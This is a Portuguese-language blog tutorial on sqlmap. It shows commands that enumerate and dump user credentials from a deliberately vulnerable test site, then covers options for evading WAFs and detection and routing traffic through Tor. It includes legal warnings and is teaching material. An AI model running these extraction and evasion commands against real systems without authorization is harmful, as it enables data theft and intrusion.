sqlmap na prática
O sqlmap é uma ferramenta desenvolvida em Python para automatizar a detecção e exploração de falhas de injeção SQL em aplicações web. Ela permite identificar vulnerabilidades em parâmetros de entrada e, a partir disso, oferece uma série de recursos para interagir com o banco de dados do alvo, como listar bases, tabelas, colunas e até extrair dados — tudo de forma controlada e personalizável.
Mesmo quem trabalha com redes e infraestrutura, como eu, precisa entender o básico sobre vulnerabilidades web. Neste post, vamos ver como usar o sqlmap para explorar injeções SQL de forma segura, utilizando um site de testes.
⚠️ Aviso Legal
Este post é exclusivamente para fins didáticos.
Demonstramos o uso da ferramenta sqlmap
apenas em ambientes de teste, como o site http://testphp.vulnweb.com
, criado intencionalmente para prática segura de segurança da informação.
⚖️ Invasão de sistemas sem autorização é crime no Brasil, tipificado no artigo 154-A do Código Penal, incluído pela Lei nº 12.737/2012 (Lei Carolina Dieckmann):
“Invadir dispositivo informático alheio, conectado ou não à rede de computadores, mediante violação indevida de mecanismo de segurança…”
Pena: detenção de 3 meses a 1 ano, e multa — podendo ser agravada caso haja prejuízo econômico.
Além disso, realizar varreduras, scans ou testes de segurança sem consentimento pode configurar crime de tentativa de invasão ou uso indevido de rede, conforme a Lei nº 9.296/1996 (interceptações) e também infringir termos de uso de serviços.
Só use essas técnicas com permissão explícita ou em ambientes de laboratório!
01 – Instalação do sqlmap
O sqlmap vem instalado por padrão em distribuições especializadas em segurança e pentest, como Kali Linux, BackBox, Parrot Security OS, entre outros. Em outras distribuições você pode instalar com
apt-get update
apt-get install sqlmap
# Estude as opções com:
man sqlmap
02 – Escolhendo um alvo
Para aprender a utilizar a ferramenta sqlmap, a melhor opção é utilizar um website público intencionalmente vulnerável e próprio para ataques WEB. Existe um website próprio para isso, e é o seguinte:
O site acima, que simula uma loja online, é justamente para que você aprenda a utilizar ferramentas de exploração de vulnerabilidades. O processo de exploração ajuda você a compreender como erros no desenvolvimento da aplicação e más configurações podem comprometer seu site, permitindo ou facilitando uma invasão.
Outra opção muito interessante é a TryHackMe (https://tryhackme.com/), esta com vários desafios e muitas outras vulnerabilidades. O site utiliza alguns conceitos de gamificação, o que pode tornar o aprendizado mais interessante para alguns.
Ainda, outra possibilidade é baixar uma imagem Linux cheia de vulnerabilidades, incluindo SQL Injection, para testar à vontade em casa.
https://www.rapid7.com/products/metasploit/metasploitable/
03 – Encontrando um parâmetro get
Para executar o sqlmap é necessário indicar pelo menos um parâmetro HTTP GET. Estes parâmetros tem muitos usos, mas um deles é passar informações ao servidor sobre algo que se deve buscar em uma base de dados. A maneira mais simples de obter um parâmetro GET é navegar pela página e procurar na URL por algo como ?algo=XPTO. Navegando pelo site indicado podemos encontrar dois parâmetros GET, “cat” e “artist”. Existem formas de obter parâmetros GET aceitos pelo alvo, inclusive utilizando o próprio sqlmap, mas a identificação visual de parâmetros torna o processo mais rápido.
04 – Identificando os bancos de dados
Caso o site seja vulnerável a SQL Injection, como o site que estamos testando, os bancos de dados disponíveis serão listados com o comando abaixo:
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –-dbs
# -u URL a ser verificada
# --dbs lista os bancos de dados da URL informada
# --threads=X com X sendo de 1(padrão) a 10

Vejam em “available databases” as bases de dados identificadas e disponíveis para continuarmos. Como o software identificado foi o MySQL, é normal a base de dados information_schema vir listada, pois ela é padrão do MySQL, sendo utilizada para armazenamentos de metadados.
05 – Identificando tabelas
Com as bases de dados listadas, o próximo passo é relacionar as tabelas. Como a base de dados information_schema é padrão, vamos partir para a base de dados acuart
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –-dbs -D acuart –-tables
# -D Base de dados que vamos enumerar
# --tables Este parâmetro indica que queremos enumerar as tabelas da base de # dados especificada com -D

O resultado é a enumeração de 8 tabelas da base de dados acuart.
06 – Identificando as colunas da tabela
Podemos identificar as colunas de qualquer uma das tabelas enumeradas no passo anterior, mas notem que, pelo nome, apenas a tabela users parece conter dados sensíveis ou relevantes, e é a que usaremos. Claro que se sua intenção for obter uma relação de produtos, a tabela products será interessante, tudo depende do contexto
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –-dbs -D acuart -T users –-columns
# -T aqui especificamos qual tabela estamos "trabalhando"
# --columns indica que queremos obter as colunas da tabela especificada07

Que interessante! Entre as colunas temos “uname”, provavelmente de username, e “pass”, adivinhe? Isso mesmo, a senha.
07 – Extraindo dados
Agora vem a parte mais interessante, que é a extração dos dados.
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –-dbs -D acuart -T users -C name,pass,uname,email –-dump
# -C aqui especificamos quais campos queremos extrair, sempre de acordo com
# com as colunas obtidas no passo anterior, separadas por vírgula.
# --dump extrai as informações

08 – Testando o acesso
Com as informações obtidas, vamos agora testar o acesso e verificar a utilidade da ferramenta

Ao inserir os dados extraídos, observamos que o login foi bem-sucedido, demonstrando a gravidade da falha.

Explorando um pouco mais o sqlmap
Vamos ver mais alguns parâmetros bem interessantes:
sqlmap -u http://testphp.vulnweb.com --forms --crawl=4 --dbs
# --forms --crawl=4 são úteis quando não identificamos visualmente um
# parâmetro, permitindo executar o sqlmap diretamente em uma URL
--random-agent
# Podemos tentar evitar sermos bloqueados por WAF (Web Application Firewall
# ou NGFW (Next Generation Firewall) usando agents aleatórios
-v VERBOSE
# O nível de verbose padrão é 1, mas podemos aumentar até 6. 2 ou 3 é
# excelente para termos mais informações, e aprendermos o que a ferramenta
# faz por "baixo dos panos"
--delay=DELAY
# DELAY em segundos entre as requisições, normalmente utilizada para
# Evitar a detecção e contornar rate limits
--threads=THREADS
# THREADS é o número de requisições HTTP simultâneas. Se estiver um ambiente
# de testes/aprendizado, pode usar 10(máximo), em sistemas reais 1 (mínimo)
# já é o suficiente para que sua exploração seja detectada
--tor
--tor-port=TORPORT
--tor-type=TORTYPE
# Ainda é possível utilizar a rede TOR, camuflando sua origem na exploração
Como se tudo que já vimos não fosse o bastante, o sqlmap ainda permite, em determinadas situações, injetar arquivos no sistema operacional de destino, e também ler arquivos. Permite também, satisfeitas algumas condições, conexão direta a base de dados, execução de comandos remotos no sistema operacional, acesso direto ao shell do servidor e acesso via frameworks especializados, como o metasploit do Kali Linux.
Finalizando
Embora em ambiente controlado, esse exercício é um excelente ponto de partida para ajudar na compreensão da ferramenta e da criticidade da vulnerabilidade SQL Injection. Além de possibilitar acessos indevidos, a vulnerabilidade permite o roubo de informações de usuários, muitas delas confidenciais. E isto é algo que não tem preço para a reputação de uma empresa. Utilizada corretamente, é uma excelente ferramenta de auditoria para garantir que sistemas sobre sua responsabilidade estão seguros contra SQL Injection.
Gostou deste post? Atua na área de segurança? Conte nos comentários sua experiência e compartilhe o post.
Resumo de Comandos SQLMAP
Comando / Parâmetro | Finalidade |
---|---|
-u URL |
Define a URL alvo com parâmetros vulneráveis |
--dbs |
Lista os bancos de dados disponíveis |
-D nome_banco |
Seleciona um banco de dados específico |
--tables |
Lista as tabelas do banco selecionado |
-T nome_tabela |
Seleciona uma tabela específica |
--columns |
Lista as colunas da tabela selecionada |
-C col1,col2 |
Define as colunas a serem extraídas |
--dump |
Extrai os dados (dump) das colunas selecionadas |
--forms |
Identifica e testa formulários da página |
--crawl=NUM |
Navega automaticamente por links internos até N níveis |
--random-agent |
Usa um user-agent aleatório (evita bloqueios simples) |
-v NÍVEL |
Define o nível de verbosidade (1 a 6) para ver mais detalhes |
--delay=SEGUNDOS |
Define o intervalo entre requisições para evitar detecção |
--threads=N |
Número de conexões simultâneas (1 a 10) |
--tor, --tor-port, --tor-type |
Utiliza a rede TOR para camuflar a origem das requisições |
Perguntas Frequentes (FAQ)
O que é exatamente uma SQL Injection?
SQL Injection é uma falha de segurança onde comandos SQL maliciosos são inseridos em campos de entrada de uma aplicação web, podendo dar acesso indevido a dados ou até controle do banco de dados.
O sqlmap pode ser usado em qualquer site?
Não! O uso do sqlmap (ou qualquer ferramenta de pentest) sem autorização é crime no Brasil. Utilize apenas em ambientes de teste, laboratórios virtuais ou com permissão explícita.
Preciso saber programar para usar o sqlmap?
Não. O sqlmap é uma ferramenta automatizada. Embora seja útil entender SQL e conceitos de segurança, você pode começar apenas seguindo os comandos básicos apresentados neste post.
Onde posso praticar legalmente?
Você pode usar o site vulnweb.com, a plataforma TryHackMe e a VM Metasploitable, que são feitos para aprendizado seguro.
O sqlmap consegue descobrir senhas?
Sim, se houver uma vulnerabilidade real de SQL Injection e a aplicação expuser dados como colunas de senhas, o sqlmap pode extraí-las — como mostrado neste post. Em sistemas protegidos, isso não deveria ser possível.
Referências